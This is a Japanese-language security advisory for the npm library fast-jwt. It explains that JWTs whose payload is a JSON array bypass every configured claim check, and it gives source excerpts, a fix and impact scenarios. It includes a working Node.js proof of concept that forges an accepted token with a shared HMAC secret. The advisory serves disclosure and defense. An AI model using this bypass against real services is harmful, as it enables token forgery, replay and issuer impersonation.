fast-jwt: JWTのペイロードがJSONオブジェクトではなくJSON配列の場合、サイレントなクレームバリデーションのバイパス

### 概要
`fast-jwt`の`createVerifier`関数は、有効な署名を持つJWTにおいて、ペイロードがJSON配列である場合に、設定されたすべてのクレームバリデーター(`exp`, `nbf`, `iss`, `aud`, `sub`, `jti`, `nonce`)を**すべて**無視します。バリデーターは署名のみを検証し、成功を報告します。これにより、ライブラリのドキュメントに記載されている`allowedIss` / `allowedAud` / `allowedSub` / 期限切れ / リプレイ保護の保証が機能せず、RFC 7519 §7.2のステップ10に違反します。RFC 7519 §7.2では、JWTのクレームセットはJSONオブジェクトでなければならないと規定されています。

### 詳細
デコーダーは、ヘッダーが配列ではないオブジェクトであることを検証しますが、ペイロードのチェックには`Array.isArray`のガードがありません。

```javascript
// src/decoder.js:49 — ヘッダーのチェック (正しい)
if (!header || typeof header !== 'object' || Array.isArray(header)) {
throw new TokenError(TokenError.codes.malformed, 'The token header is not a valid JSON object.')
}

// src/decoder.js:65 — ペイロードのチェック (脆弱)
if (!payload || typeof payload !== 'object') { // typeof [] === 'object'
throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })
}

JavaScriptでは`typeof [] === 'object'`であるため、配列のペイロードはデコーダーを通過します。

バリデーターのループ内では、すべてのチェックが、配列に対して常にfalseとなる条件によって短絡的にスキップされます(配列は数値インデックスと長さを持ちます)。

// src/verifier.js:304-323
for (const { type, claim, allowed, array, modifier, greater, errorCode, errorVerb } of validators) {
const value = payload[claim]
...
if (!(claim in payload)) { // 'exp' in [] === false, 'iss' in [] === false, など
continue // すべてのバリデーターがサイレントにスキップされる
}
...
}

結果: `exp`, `nbf`, `iss` (allowedIss), `aud` (allowedAud), `sub` (allowedSub), `jti`、および`nonce`のチェックはすべてスキップされ、エラーは呼び出し元に返されません。バリデーターは、配列をペイロードとして返します。

`requiredClaims` は、同じ検証処理を使用しますが、`continue` ではなくエラーを発生させるため(`verifier.js:295行目)、バイパスを防ぐことができます。しかし、これはオプション機能であり、一般的に設定されているわけではありません。

GHSA-gm45-q3v2-6cf8 (CVE-2025-30144) は、以前に、個々のクレームの値が配列である場合に発生する問題を修正しました。その修正は、検証ループの内部で動作し、このバリエーションでは実行されません。

### PoC (概念実証)

```javascript
const { createVerifier } = require('fast-jwt')
const crypto = require('crypto')

const key = 'shared-secret'
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url')
const payload = Buffer.from(JSON.stringify(['attacker', 'role:admin'])).toString('base64url')
const sig = crypto.createHmac('sha256', key).update(`${header}.${payload}`).digest('base64url')
const token = `${header}.${payload}.${sig}`

const verify = createVerifier({
key,
allowedIss: ['legit-issuer'],
allowedAud: ['legit-audience'],
allowedSub: ['legit-subject']
// exp enforcement is on by default
})

console.log(verify(token))
// 出力: [ 'attacker', 'role:admin' ]
// エラーは発生しません。allowedIss/allowedAud/allowedSub/exp はすべてスキップされます。

// 正常に動作する例:同じ不正なクレームを含むオブジェクトペイロードは正しく拒否されます。
const bad = Buffer.from(JSON.stringify({ iss: 'attacker', exp: 1 })).toString('base64url')
const sig2 = crypto.createHmac('sha256', key).update(`${header}.${bad}`).digest('base64url')
verify(`${header}.${bad}.${sig2}`)
// エラー: "The token has expired at 1970-01-01T00:00:01.000Z."

fast-jwt v6.2.4 (現在のmaster、コミット a510448) で検証済み。

```

提案される修正 (src/decoder.js:65行目):

- if (!payload || typeof payload !== 'object') {
+ if (!payload || typeof payload !== 'object' || Array.isArray(payload)) {
throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })
}

これは、49行目の既存のヘッダーのチェックと似たものです。

### 影響
種類:サイレントな認証検証回避。署名が有効なJWTが、JSON配列をペイロードとして持つ場合、`createVerifier`は設定されたすべてのクレーム検証器(exp、nbf、iss/allowedIss、aud/allowedAud、sub/allowedSub、jti、nonce)をスキップし、成功を返します。実際には署名のみが検証され、検証器は設定された防御機能が実行されなかったというエラーや警告を一切出力しません。

影響を受ける対象:`fast-jwt`の`createVerifier`を、クレーム検証オプションと共に使用しており、攻撃者が有効な署名を持つトークンを生成または操作できるアプリケーション。現実的な利用シナリオは以下の通りです。

- 共有HMACマイクロサービス環境:秘密キーを持っているすべてのエンティティが、対象、発行者、有効期限の強制を無効にした状態で、他のすべての検証器によって受け入れられるトークンを発行できます。
- マルチテナントトークン発行システムおよびSSOバックエンド:ペイロードの形状を操作できるテナントまたは上位の呼び出し元は、プラットフォーム全体で受け入れられる永続的なトークンを取得できます。
- 委譲された署名/脆弱な発行側入力検証:攻撃者が制御するJSONを、オブジェクトの形状を強制せずにペイロードにシリアライズする発行元は、脆弱性につながる可能性があります。

結果:永続的なトークン(有効期限の回避)、サービス間でのリプレイ攻撃(対象の回避)、フェデレーション/OIDC環境における発行者偽装、jtiの欠落による取り消しリストの回避、OIDC nonceのリプレイ、および監査証跡の破損(ペイロードの`sub`が未定義であるため、認証されたリクエストがログで属性情報なしに表示される)。

影響を受けるパッケージ:
- npm (JavaScript) fast-jwt:影響を受けるバージョンは6.2.4以下、6.3.0で修正済み。